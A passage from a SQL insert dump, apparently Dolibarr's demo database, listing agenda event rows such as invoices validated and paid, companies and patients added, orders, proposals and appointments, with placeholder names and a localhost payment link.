Dolibarr\nAuteur: admin',1,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(13,'13',NULL,1,'2012-07-10 15:13:08','2012-07-10 15:13:08',50,NULL,'Société Smith Vick ajoutée dans Dolibarr','2012-07-10 15:13:08','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Société Smith Vick ajoutée dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(14,'14',NULL,1,'2012-07-10 15:21:00','2012-07-10 16:21:00',5,NULL,'RDV avec mon chef','2012-07-10 15:21:48','2021-04-15 10:22:55',1,NULL,NULL,NULL,NULL,0,1,NULL,NULL,0,0,0,'',3600,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(15,'15',NULL,1,'2012-07-10 18:18:16','2012-07-10 18:18:16',50,NULL,'Contrat CONTRAT1 validé dans Dolibarr','2012-07-10 18:18:16','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Contrat CONTRAT1 validé dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(16,'16',NULL,1,'2012-07-10 18:35:57','2012-07-10 18:35:57',50,NULL,'Société Mon client ajoutée dans Dolibarr','2012-07-10 18:35:57','2022-12-27 13:43:41',1,NULL,1,11,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Société Mon client ajoutée dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(17,'17',NULL,1,'2012-07-11 16:18:08','2012-07-11 16:18:08',50,NULL,'Société Dupont Alain ajoutée dans Dolibarr','2012-07-11 16:18:08','2021-04-15 10:22:55',1,NULL,NULL,12,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Société Dupont Alain ajoutée dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(18,'18',NULL,1,'2012-07-11 17:11:00','2012-07-11 17:17:00',5,NULL,'Rendez-vous','2012-07-11 17:11:22','2021-04-15 10:22:55',1,NULL,NULL,NULL,NULL,0,1,NULL,NULL,0,0,0,'gfgdfgdf',360,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(19,'19',NULL,1,'2012-07-11 17:13:20','2012-07-11 17:13:20',50,NULL,'Société Vendeur de chips ajoutée dans Dolibarr','2012-07-11 17:13:20','2021-04-15 10:22:55',1,NULL,NULL,13,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Société Vendeur de chips ajoutée dans Dolibarr\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(20,'20',NULL,1,'2012-07-11 17:15:42','2012-07-11 17:15:42',50,NULL,'Commande CF1007-0001 validée','2012-07-11 17:15:42','2021-04-15 10:22:55',1,NULL,NULL,13,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Commande CF1007-0001 validée\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(21,'21',NULL,1,'2012-07-11 18:47:33','2012-07-11 18:47:33',50,NULL,'Commande CF1007-0002 validée','2012-07-11 18:47:33','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Commande CF1007-0002 validée\nAuteur: admin',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(22,'22',NULL,1,'2012-07-18 11:36:18','2012-07-18 11:36:18',50,NULL,'Proposition PR1007-0003 validée','2012-07-18 11:36:18','2021-04-15 10:22:55',1,NULL,NULL,4,NULL,0,1,NULL,1,0,0,100,'',NULL,NULL,'Proposition PR1007-0003 validée\nAuteur: admin',3,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(23,'23',NULL,1,'2013-07-18 20:49:58','2013-07-18 20:49:58',50,NULL,'Invoice FA1007-0002 validated in Dolibarr','2013-07-18 20:49:58','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1007-0002 validated in Dolibarr\nAuthor: admin',2,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(24,'24',NULL,1,'2013-07-28 01:37:00',NULL,1,NULL,'Phone call','2013-07-28 01:37:48','2021-04-15 10:22:55',1,NULL,NULL,NULL,2,0,1,NULL,NULL,0,0,-1,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(25,'25',NULL,1,'2013-08-01 02:31:24','2013-08-01 02:31:24',50,NULL,'Company mmm added into Dolibarr','2013-08-01 02:31:24','2021-04-15 10:22:55',1,NULL,NULL,15,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Company mmm added into Dolibarr\nAuthor: admin',15,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(26,'26',NULL,1,'2013-08-01 02:31:43','2013-08-01 02:31:43',50,NULL,'Company ppp added into Dolibarr','2013-08-01 02:31:43','2021-04-15 10:22:55',1,NULL,NULL,16,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Company ppp added into Dolibarr\nAuthor: admin',16,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(27,'27',NULL,1,'2013-08-01 02:41:26','2013-08-01 02:41:26',50,NULL,'Company aaa added into Dolibarr','2013-08-01 02:41:26','2021-04-15 10:22:55',1,NULL,NULL,17,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Company aaa added into Dolibarr\nAuthor: admin',17,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(28,'28',NULL,1,'2013-08-01 03:34:11','2013-08-01 03:34:11',50,NULL,'Invoice FA1108-0003 validated in Dolibarr','2013-08-01 03:34:11','2021-04-15 10:22:55',1,NULL,NULL,7,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0003 validated in Dolibarr\nAuthor: admin',5,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(29,'29',NULL,1,'2013-08-01 03:34:11','2013-08-01 03:34:11',50,NULL,'Invoice FA1108-0003 validated in Dolibarr','2013-08-01 03:34:11','2021-04-15 10:22:55',1,NULL,NULL,7,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0003 changed to paid in Dolibarr\nAuthor: admin',5,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(30,'30',NULL,1,'2013-08-06 20:33:54','2013-08-06 20:33:54',50,NULL,'Invoice FA1108-0004 validated in Dolibarr','2013-08-06 20:33:54','2021-04-15 10:22:55',1,NULL,NULL,7,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0004 validated in Dolibarr\nAuthor: admin',6,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(31,'31',NULL,1,'2013-08-06 20:33:54','2013-08-06 20:33:54',50,NULL,'Invoice FA1108-0004 validated in Dolibarr','2013-08-06 20:33:54','2021-04-15 10:22:55',1,NULL,NULL,7,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0004 changed to paid in Dolibarr\nAuthor: admin',6,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(38,'38',NULL,1,'2013-08-08 02:41:55','2013-08-08 02:41:55',50,NULL,'Invoice FA1108-0005 validated in Dolibarr','2013-08-08 02:41:55','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0005 validated in Dolibarr\nAuthor: admin',8,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(40,'40',NULL,1,'2013-08-08 02:53:40','2013-08-08 02:53:40',50,NULL,'Invoice FA1108-0005 changed to paid in Dolibarr','2013-08-08 02:53:40','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0005 changed to paid in Dolibarr\nAuthor: admin',8,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(41,'41',NULL,1,'2013-08-08 02:54:05','2013-08-08 02:54:05',50,NULL,'Invoice FA1007-0002 changed to paid in Dolibarr','2013-08-08 02:54:05','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1007-0002 changed to paid in Dolibarr\nAuthor: admin',2,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(42,'42',NULL,1,'2013-08-08 02:55:04','2013-08-08 02:55:04',50,NULL,'Invoice FA1107-0006 validated in Dolibarr','2013-08-08 02:55:04','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1107-0006 validated in Dolibarr\nAuthor: admin',3,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(43,'43',NULL,1,'2013-08-08 02:55:26','2013-08-08 02:55:26',50,NULL,'Invoice FA1108-0007 validated in Dolibarr','2013-08-08 02:55:26','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1108-0007 validated in Dolibarr\nAuthor: admin',9,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(44,'44',NULL,1,'2013-08-08 02:55:58','2013-08-08 02:55:58',50,NULL,'Invoice FA1107-0006 changed to paid in Dolibarr','2013-08-08 02:55:58','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Invoice FA1107-0006 changed to paid in Dolibarr\nAuthor: admin',3,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(45,'45',NULL,1,'2013-08-08 03:04:22','2013-08-08 03:04:22',50,NULL,'Order CO1108-0001 validated','2013-08-08 03:04:22','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Order CO1108-0001 validated\nAuthor: admin',5,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(46,'46',NULL,1,'2013-08-08 13:59:09','2013-08-08 13:59:09',50,NULL,'Order CO1107-0002 validated','2013-08-08 13:59:10','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Order CO1107-0002 validated\nAuthor: admin',1,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(47,'47',NULL,1,'2013-08-08 14:24:18','2013-08-08 14:24:18',50,NULL,'Proposal PR1007-0001 validated','2013-08-08 14:24:18','2021-04-15 10:22:55',1,NULL,NULL,2,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Proposal PR1007-0001 validated\nAuthor: admin',1,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(48,'48',NULL,1,'2013-08-08 14:24:24','2013-08-08 14:24:24',50,NULL,'Proposal PR1108-0004 validated','2013-08-08 14:24:24','2021-04-15 10:22:55',1,NULL,NULL,17,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Proposal PR1108-0004 validated\nAuthor: admin',4,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(49,'49',NULL,1,'2013-08-08 15:04:37','2013-08-08 15:04:37',50,NULL,'Order CF1108-0003 validated','2013-08-08 15:04:37','2021-04-15 10:22:55',1,NULL,NULL,17,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Order CF1108-0003 validated\nAuthor: admin',6,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(50,'50',NULL,1,'2014-12-08 17:56:47','2014-12-08 17:56:47',40,NULL,'Facture AV1212-0001 validée dans Dolibarr','2014-12-08 17:56:47','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture AV1212-0001 validée dans Dolibarr\nAuteur: admin',10,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(51,'51',NULL,1,'2014-12-08 17:57:11','2014-12-08 17:57:11',40,NULL,'Facture AV1212-0001 validée dans Dolibarr','2014-12-08 17:57:11','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture AV1212-0001 validée dans Dolibarr\nAuteur: admin',10,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(52,'52',NULL,1,'2014-12-08 17:58:27','2014-12-08 17:58:27',40,NULL,'Facture FA1212-0008 validée dans Dolibarr','2014-12-08 17:58:27','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1212-0008 validée dans Dolibarr\nAuteur: admin',11,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(53,'53',NULL,1,'2014-12-08 18:20:49','2014-12-08 18:20:49',40,NULL,'Facture AV1212-0002 validée dans Dolibarr','2014-12-08 18:20:49','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture AV1212-0002 validée dans Dolibarr\nAuteur: admin',12,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(54,'54',NULL,1,'2014-12-09 18:35:07','2014-12-09 18:35:07',40,NULL,'Facture AV1212-0002 passée à payée dans Dolibarr','2014-12-09 18:35:07','2021-04-15 10:22:55',1,NULL,NULL,10,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture AV1212-0002 passée à payée dans Dolibarr\nAuteur: admin',12,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(55,'55',NULL,1,'2014-12-09 20:14:42','2014-12-09 20:14:42',40,NULL,'Société doe john ajoutée dans Dolibarr','2014-12-09 20:14:42','2021-04-15 10:22:55',1,NULL,NULL,18,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Société doe john ajoutée dans Dolibarr\nAuteur: admin',18,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(56,'56',NULL,1,'2014-12-12 18:54:19','2014-12-12 18:54:19',40,NULL,'Facture FA1212-0009 validée dans Dolibarr','2014-12-12 18:54:19','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1212-0009 validée dans Dolibarr\nAuteur: admin',55,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(121,'121',NULL,1,'2014-12-06 10:00:00',NULL,50,NULL,'aaab','2014-12-21 17:48:08','2021-04-15 10:22:55',3,1,NULL,NULL,NULL,0,3,NULL,NULL,1,0,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(122,'122',NULL,1,'2014-12-21 18:09:52','2014-12-21 18:09:52',40,NULL,'Facture client FA1007-0001 envoyée par EMail','2014-12-21 18:09:52','2021-04-15 10:22:55',1,NULL,NULL,9,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Mail envoyé par Firstname SuperAdminName à laurent@mycompany.fr.\nSujet du mail: Envoi facture FA1007-0001\nCorps du mail:\nVeuillez trouver ci-joint la facture FA1007-0001\r\n\r\nVous pouvez cliquer sur le lien sécurisé ci-dessous pour effectuer votre paiement via Paypal\r\n\r\nhttp://localhost/dolibarrnew/public/paypal/newpayment.php?source=invoice&ref=FA1007-0001&securekey=50c82fab36bb3b6aa83e2a50691803b2\r\n\r\nCordialement',1,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(123,'123',NULL,1,'2015-01-06 13:13:57','2015-01-06 13:13:57',40,NULL,'Facture 16 validée dans Dolibarr','2015-01-06 13:13:57','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture 16 validée dans Dolibarr\nAuteur: admin',16,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(124,'124',NULL,1,'2015-01-12 12:23:05','2015-01-12 12:23:05',40,NULL,'Patient aaa ajouté','2015-01-12 12:23:05','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Patient aaa ajouté\nAuteur: admin',19,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(125,'125',NULL,1,'2015-01-12 12:52:20','2015-01-12 12:52:20',40,NULL,'Patient pppoo ajouté','2015-01-12 12:52:20','2021-04-15 10:22:55',1,NULL,NULL,20,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Patient pppoo ajouté\nAuteur: admin',20,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(127,'127',NULL,1,'2015-01-19 18:22:48','2015-01-19 18:22:48',40,NULL,'Facture FS1301-0001 validée dans Dolibarr','2015-01-19 18:22:48','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FS1301-0001 validée dans Dolibarr\nAuteur: admin',148,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(128,'128',NULL,1,'2015-01-19 18:31:10','2015-01-19 18:31:10',40,NULL,'Facture FA6801-0010 validée dans Dolibarr','2015-01-19 18:31:10','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA6801-0010 validée dans Dolibarr\nAuteur: admin',150,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(129,'129',NULL,1,'2015-01-19 18:31:10','2015-01-19 18:31:10',40,NULL,'Facture FA6801-0010 passée à payée dans Dolibarr','2015-01-19 18:31:10','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA6801-0010 passée à payée dans Dolibarr\nAuteur: admin',150,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(130,'130',NULL,1,'2015-01-19 18:31:58','2015-01-19 18:31:58',40,NULL,'Facture FS1301-0002 validée dans Dolibarr','2015-01-19 18:31:58','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FS1301-0002 validée dans Dolibarr\nAuteur: admin',151,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(131,'131',NULL,1,'2015-01-19 18:31:58','2015-01-19 18:31:58',40,NULL,'Facture FS1301-0002 passée à payée dans Dolibarr','2015-01-19 18:31:58','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FS1301-0002 passée à payée dans Dolibarr\nAuteur: admin',151,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(132,'132',NULL,1,'2015-01-23 15:07:54','2015-01-23 15:07:54',50,NULL,'Consultation 24 saisie (aaa)','2015-01-23 15:07:54','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Consultation 24 saisie (aaa)\nAuteur: admin',24,'cabinetmed_cons',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(133,'133',NULL,1,'2015-01-23 16:56:58','2015-01-23 16:56:58',40,NULL,'Patient pa ajouté','2015-01-23 16:56:58','2021-04-15 10:22:55',1,NULL,NULL,21,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Patient pa ajouté\nAuteur: admin',21,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(134,'134',NULL,1,'2015-01-23 17:34:00',NULL,50,NULL,'bbcv','2015-01-23 17:35:21','2021-04-15 10:22:55',1,NULL,1,2,NULL,0,1,NULL,NULL,0,0,-1,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(135,'135',NULL,1,'2015-02-12 15:54:00','2015-02-12 15:54:00',40,NULL,'Facture FA1212-0011 validée dans Dolibarr','2015-02-12 15:54:37','2021-04-15 10:22:55',1,1,NULL,7,NULL,0,1,NULL,1,0,0,50,NULL,NULL,NULL,'Facture FA1212-0011 validée dans Dolibarr
\r\nAuteur: admin',13,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(136,'136',NULL,1,'2015-02-12 17:06:51','2015-02-12 17:06:51',40,NULL,'Commande CO1107-0003 validée','2015-02-12 17:06:51','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Commande CO1107-0003 validée\nAuteur: admin',2,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(137,'137',NULL,1,'2015-02-17 16:22:10','2015-02-17 16:22:10',40,NULL,'Proposition PR1302-0009 validée','2015-02-17 16:22:10','2021-04-15 10:22:55',1,NULL,NULL,19,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Proposition PR1302-0009 validée\nAuteur: admin',9,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(138,'138',NULL,1,'2015-02-17 16:27:00','2015-02-17 16:27:00',40,NULL,'Facture FA1302-0012 validée dans Dolibarr','2015-02-17 16:27:00','2021-04-15 10:22:55',1,NULL,NULL,18,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Facture FA1302-0012 validée dans Dolibarr\nAuteur: admin',152,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(139,'139',NULL,1,'2015-02-17 16:27:29','2015-02-17 16:27:29',40,NULL,'Proposition PR1302-0010 validée','2015-02-17 16:27:29','2021-04-15 10:22:55',1,NULL,NULL,18,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Proposition PR1302-0010 validée\nAuteur: admin',11,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(140,'140',NULL,1,'2015-02-17 18:27:56','2015-02-17 18:27:56',40,NULL,'Commande CO1107-0004 validée','2015-02-17 18:27:56','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Commande CO1107-0004 validée\nAuteur: admin',3,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(141,'141',NULL,1,'2015-02-17 18:38:14','2015-02-17 18:38:14',40,NULL,'Commande CO1302-0005 validée','2015-02-17 18:38:14','2021-04-15 10:22:55',1,NULL,NULL,18,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Commande CO1302-0005 validée\nAuteur: admin',7,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(142,'142',NULL,1,'2015-02-26 22:57:50','2015-02-26 22:57:50',40,NULL,'Company pppp added into Dolibarr','2015-02-26 22:57:50','2021-04-15 10:22:55',1,NULL,NULL,22,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Company pppp added into Dolibarr\nAuthor: admin',22,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(143,'143',NULL,1,'2015-02-26 22:58:13','2015-02-26 22:58:13',40,NULL,'Company ttttt added into Dolibarr','2015-02-26 22:58:13','2021-04-15 10:22:55',1,NULL,NULL,23,NULL,0,1,NULL,1,0,0,-1,'',NULL,NULL,'Company ttttt added into Dolibarr\nAuthor: admin',23,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(144,'144',NULL,1,'2015-02-27 10:00:00','2015-02-27 19:20:00',5,NULL,'Rendez-vous','2015-02-27 19:20:53','2021-04-15 10:22:55',1,NULL,NULL,NULL,NULL,0,1,NULL,1,0,0,-1,'',33600,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(145,'145',NULL,1,'2015-02-27 19:28:00',NULL,2,NULL,'fdsfsd','2015-02-27 19:28:48','2021-04-15 10:22:55',1,1,NULL,NULL,NULL,0,1,NULL,1,0,0,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0,NULL),(146,'146',NULL,1,'2015-03-06 10:05:07','2015-03-06 10:05:07',40,NULL,'Contrat (PROV3) 